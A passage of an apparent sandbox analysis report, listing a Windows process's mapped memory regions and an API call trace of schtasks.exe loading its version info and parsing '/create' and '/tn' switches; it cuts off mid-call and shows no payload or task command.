filename = "" Region: id = 3480 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3481 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3482 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3483 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3484 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3485 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3486 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3487 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3488 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3489 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3490 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3491 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3492 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 3493 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3494 start_va = 0x180000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 3495 start_va = 0x2f0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 3496 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3497 start_va = 0x3f0000 end_va = 0x577fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3498 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3499 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3500 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3501 start_va = 0x580000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 3502 start_va = 0x710000 end_va = 0x1b0ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 3503 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3506 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 3507 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 3508 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3509 start_va = 0x1b10000 end_va = 0x1ddefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3510 start_va = 0x1de0000 end_va = 0x1e5cfff monitored = 0 entry_point = 0x1decec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3511 start_va = 0x1de0000 end_va = 0x1e5cfff monitored = 0 entry_point = 0x1decec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3512 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3513 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3514 start_va = 0x1de0000 end_va = 0x1e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001de0000" filename = "" Region: id = 3515 start_va = 0x1e80000 end_va = 0x1f5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e80000" filename = "" Region: id = 3516 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3519 start_va = 0x20b0000 end_va = 0x212ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020b0000" filename = "" Region: id = 3520 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3524 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3525 start_va = 0x280000 end_va = 0x280fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 3526 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3527 start_va = 0x290000 end_va = 0x290fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 3528 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3529 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3563 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 172 os_tid = 0xc50 [0149.400] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x17ff00 | out: lpSystemTimeAsFileTime=0x17ff00*(dwLowDateTime=0x2645c1c0, dwHighDateTime=0x1d8a92a)) [0149.400] GetCurrentProcessId () returned 0xc58 [0149.400] GetCurrentThreadId () returned 0xc50 [0149.400] GetTickCount () returned 0x1389f7f [0149.400] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x17ff08 | out: lpPerformanceCount=0x17ff08*=2062826375177) returned 1 [0149.401] GetModuleHandleW (lpModuleName=0x0) returned 0xfff90000 [0149.401] __set_app_type (_Type=0x1) [0149.401] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfffb972c) returned 0x0 [0149.401] __wgetmainargs (in: _Argc=0xfffd1240, _Argv=0xfffd1250, _Env=0xfffd1248, _DoWildCard=0, _StartInfo=0xfffd125c | out: _Argc=0xfffd1240, _Argv=0xfffd1250, _Env=0xfffd1248) returned 0 [0149.403] _onexit (_Func=0xfffc2ab0) returned 0xfffc2ab0 [0149.403] _onexit (_Func=0xfffc2ac4) returned 0xfffc2ac4 [0149.403] _onexit (_Func=0xfffc2afc) returned 0xfffc2afc [0149.403] _onexit (_Func=0xfffc2b58) returned 0xfffc2b58 [0149.403] _onexit (_Func=0xfffc2b80) returned 0xfffc2b80 [0149.403] _onexit (_Func=0xfffc2ba8) returned 0xfffc2ba8 [0149.407] _onexit (_Func=0xfffc2bd0) returned 0xfffc2bd0 [0149.407] _onexit (_Func=0xfffc2bf8) returned 0xfffc2bf8 [0149.407] _onexit (_Func=0xfffc2c20) returned 0xfffc2c20 [0149.407] _onexit (_Func=0xfffc2c48) returned 0xfffc2c48 [0149.407] _onexit (_Func=0xfffc2c70) returned 0xfffc2c70 [0149.408] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0149.408] WinSqmIsOptedIn () returned 0x0 [0149.408] GetProcessHeap () returned 0x2f0000 [0149.408] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30b9d0 [0149.408] SetLastError (dwErrCode=0x0) [0149.409] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0149.409] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0149.409] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0149.409] VerifyVersionInfoW (in: lpVersionInformation=0x17f6c0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x17f6c0) returned 1 [0149.409] GetProcessHeap () returned 0x2f0000 [0149.409] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30b9f0 [0149.409] lstrlenW (lpString="") returned 0 [0149.409] GetProcessHeap () returned 0x2f0000 [0149.409] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x2) returned 0x30ba10 [0149.409] GetProcessHeap () returned 0x2f0000 [0149.409] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305960 [0149.409] GetProcessHeap () returned 0x2f0000 [0149.409] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30ba30 [0149.409] GetProcessHeap () returned 0x2f0000 [0149.409] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305990 [0149.409] GetProcessHeap () returned 0x2f0000 [0149.409] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x3059c0 [0149.409] GetProcessHeap () returned 0x2f0000 [0149.409] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x3059f0 [0149.409] GetProcessHeap () returned 0x2f0000 [0149.409] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305a20 [0149.409] GetProcessHeap () returned 0x2f0000 [0149.409] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30ba50 [0149.409] GetProcessHeap () returned 0x2f0000 [0149.410] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305a50 [0149.410] GetProcessHeap () returned 0x2f0000 [0149.410] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305a80 [0149.410] GetProcessHeap () returned 0x2f0000 [0149.410] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305ab0 [0149.410] GetProcessHeap () returned 0x2f0000 [0149.410] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305ae0 [0149.410] GetProcessHeap () returned 0x2f0000 [0149.410] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30ba70 [0149.410] GetProcessHeap () returned 0x2f0000 [0149.410] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305b10 [0149.410] GetProcessHeap () returned 0x2f0000 [0149.410] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305b40 [0149.410] GetProcessHeap () returned 0x2f0000 [0149.410] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305b70 [0149.410] GetProcessHeap () returned 0x2f0000 [0149.410] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305ba0 [0149.410] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0149.410] SetLastError (dwErrCode=0x0) [0149.411] GetProcessHeap () returned 0x2f0000 [0149.411] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305bd0 [0149.411] GetProcessHeap () returned 0x2f0000 [0149.411] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305c00 [0149.411] GetProcessHeap () returned 0x2f0000 [0149.411] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305c30 [0149.411] GetProcessHeap () returned 0x2f0000 [0149.411] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305c60 [0149.411] GetProcessHeap () returned 0x2f0000 [0149.411] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305c90 [0149.411] GetProcessHeap () returned 0x2f0000 [0149.411] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30ba90 [0149.411] _memicmp (_Buf1=0x30ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.411] GetProcessHeap () returned 0x2f0000 [0149.411] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x208) returned 0x30bc30 [0149.411] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x30bc30, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0149.411] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0149.414] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0149.414] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0149.415] GetProcessHeap () returned 0x2f0000 [0149.415] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x74e) returned 0x30c1e0 [0149.415] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0149.415] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x30c1e0 | out: lpData=0x30c1e0) returned 1 [0149.416] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0149.416] VerQueryValueW (in: pBlock=0x30c1e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x17f7a8, puLen=0x17f810 | out: lplpBuffer=0x17f7a8*=0x30c57c, puLen=0x17f810) returned 1 [0149.419] _memicmp (_Buf1=0x30ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.419] _vsnwprintf (in: _Buffer=0x30bc30, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x17f788 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0149.419] VerQueryValueW (in: pBlock=0x30c1e0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x17f818, puLen=0x17f808 | out: lplpBuffer=0x17f818*=0x30c3a8, puLen=0x17f808) returned 1 [0149.419] lstrlenW (lpString="schtasks.exe") returned 12 [0149.419] lstrlenW (lpString="schtasks.exe") returned 12 [0149.419] lstrlenW (lpString=".EXE") returned 4 [0149.419] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0149.421] lstrlenW (lpString="schtasks.exe") returned 12 [0149.421] lstrlenW (lpString=".EXE") returned 4 [0149.421] _memicmp (_Buf1=0x30ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.421] lstrlenW (lpString="schtasks") returned 8 [0149.421] GetProcessHeap () returned 0x2f0000 [0149.421] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305d80 [0149.421] GetProcessHeap () returned 0x2f0000 [0149.421] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30caf0 [0149.422] GetProcessHeap () returned 0x2f0000 [0149.422] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cb20 [0149.422] GetProcessHeap () returned 0x2f0000 [0149.422] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cb50 [0149.422] GetProcessHeap () returned 0x2f0000 [0149.422] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30bab0 [0149.422] _memicmp (_Buf1=0x30bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.422] GetProcessHeap () returned 0x2f0000 [0149.422] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xa0) returned 0x30c030 [0149.422] GetProcessHeap () returned 0x2f0000 [0149.422] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cb80 [0149.422] GetProcessHeap () returned 0x2f0000 [0149.422] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cbb0 [0149.422] GetProcessHeap () returned 0x2f0000 [0149.422] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cbe0 [0149.422] GetProcessHeap () returned 0x2f0000 [0149.422] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30bad0 [0149.422] _memicmp (_Buf1=0x30bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.422] GetProcessHeap () returned 0x2f0000 [0149.422] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x200) returned 0x30d2c0 [0149.422] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x30d2c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0149.422] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0149.423] GetProcessHeap () returned 0x2f0000 [0149.423] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x30) returned 0x307a80 [0149.423] _vsnwprintf (in: _Buffer=0x30c030, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x17f788 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0149.423] GetProcessHeap () returned 0x2f0000 [0149.423] GetProcessHeap () returned 0x2f0000 [0149.423] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c1e0) returned 1 [0149.423] GetProcessHeap () returned 0x2f0000 [0149.423] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c1e0) returned 0x74e [0149.423] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c1e0 | out: hHeap=0x2f0000) returned 1 [0149.423] SetLastError (dwErrCode=0x0) [0149.423] GetThreadLocale () returned 0x409 [0149.423] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.424] lstrlenW (lpString="?") returned 1 [0149.424] GetThreadLocale () returned 0x409 [0149.424] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.424] lstrlenW (lpString="create") returned 6 [0149.424] GetThreadLocale () returned 0x409 [0149.424] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.424] lstrlenW (lpString="delete") returned 6 [0149.424] GetThreadLocale () returned 0x409 [0149.424] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.424] lstrlenW (lpString="query") returned 5 [0149.424] GetThreadLocale () returned 0x409 [0149.424] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.424] lstrlenW (lpString="change") returned 6 [0149.424] GetThreadLocale () returned 0x409 [0149.424] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.424] lstrlenW (lpString="run") returned 3 [0149.424] GetThreadLocale () returned 0x409 [0149.424] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.424] lstrlenW (lpString="end") returned 3 [0149.424] GetThreadLocale () returned 0x409 [0149.424] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.442] lstrlenW (lpString="showsid") returned 7 [0149.442] GetThreadLocale () returned 0x409 [0149.442] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.442] SetLastError (dwErrCode=0x0) [0149.442] SetLastError (dwErrCode=0x0) [0149.442] lstrlenW (lpString="/create") returned 7 [0149.442] lstrlenW (lpString="-/") returned 2 [0149.442] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0149.442] lstrlenW (lpString="?") returned 1 [0149.443] lstrlenW (lpString="?") returned 1 [0149.443] GetProcessHeap () returned 0x2f0000 [0149.443] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30c1e0 [0149.443] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.443] GetProcessHeap () returned 0x2f0000 [0149.443] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xa) returned 0x30c200 [0149.443] lstrlenW (lpString="create") returned 6 [0149.443] GetProcessHeap () returned 0x2f0000 [0149.443] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30c220 [0149.443] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.443] GetProcessHeap () returned 0x2f0000 [0149.443] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x14) returned 0x30c240 [0149.443] _vsnwprintf (in: _Buffer=0x30c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|?|") returned 3 [0149.443] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|create|") returned 8 [0149.443] lstrlenW (lpString="|?|") returned 3 [0149.443] lstrlenW (lpString="|create|") returned 8 [0149.443] SetLastError (dwErrCode=0x490) [0149.443] lstrlenW (lpString="create") returned 6 [0149.443] lstrlenW (lpString="create") returned 6 [0149.443] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.443] GetProcessHeap () returned 0x2f0000 [0149.443] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c200) returned 1 [0149.443] GetProcessHeap () returned 0x2f0000 [0149.443] RtlReAllocateHeap (Heap=0x2f0000, Flags=0xc, Ptr=0x30c200, Size=0x14) returned 0x30c260 [0149.443] lstrlenW (lpString="create") returned 6 [0149.443] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.443] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|create|") returned 8 [0149.444] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|create|") returned 8 [0149.444] lstrlenW (lpString="|create|") returned 8 [0149.444] lstrlenW (lpString="|create|") returned 8 [0149.444] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0149.444] SetLastError (dwErrCode=0x0) [0149.444] SetLastError (dwErrCode=0x0) [0149.444] SetLastError (dwErrCode=0x0) [0149.444] lstrlenW (lpString="/tn") returned 3 [0149.444] lstrlenW (lpString="-/") returned 2 [0149.444] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0149.444] lstrlenW (lpString="?") returned 1 [0149.444] lstrlenW (lpString="?") returned 1 [0149.444] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.444] lstrlenW (lpString="tn") returned 2 [0149.444] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.444] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|?|") returned 3 [0149.444] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|tn|") returned 4 [0149.444] lstrlenW (lpString="|?|") returned 3 [0149.444] lstrlenW (lpString="|tn|") returned 4 [0149.444] SetLastError (dwErrCode=0x490) [0149.444] lstrlenW (lpString="create") returned 6 [0149.444] lstrlenW (lpString="create") returned 6 [0149.444] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.445] lstrlenW (lpString="tn") returned 2 [0149.445] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.445] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|create|") returned 8 [0149.445] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|tn|") returned 4 [0149.445] lstrlenW (lpString="|create|") returned 8 [0149.445] lstrlenW (lpString="|tn|") returned 4 [0149.445] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0149.445] SetLastError (dwErrCode=0x490) [0149.445] lstrlenW (lpString="delete") returned 6 [0149.445] lstrlenW (lpString="delete") returned 6 [0149.445] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.445] lstrlenW (lpString="tn") returned 2 [0149.445] _memicmp (_Buf1=0x30c220, 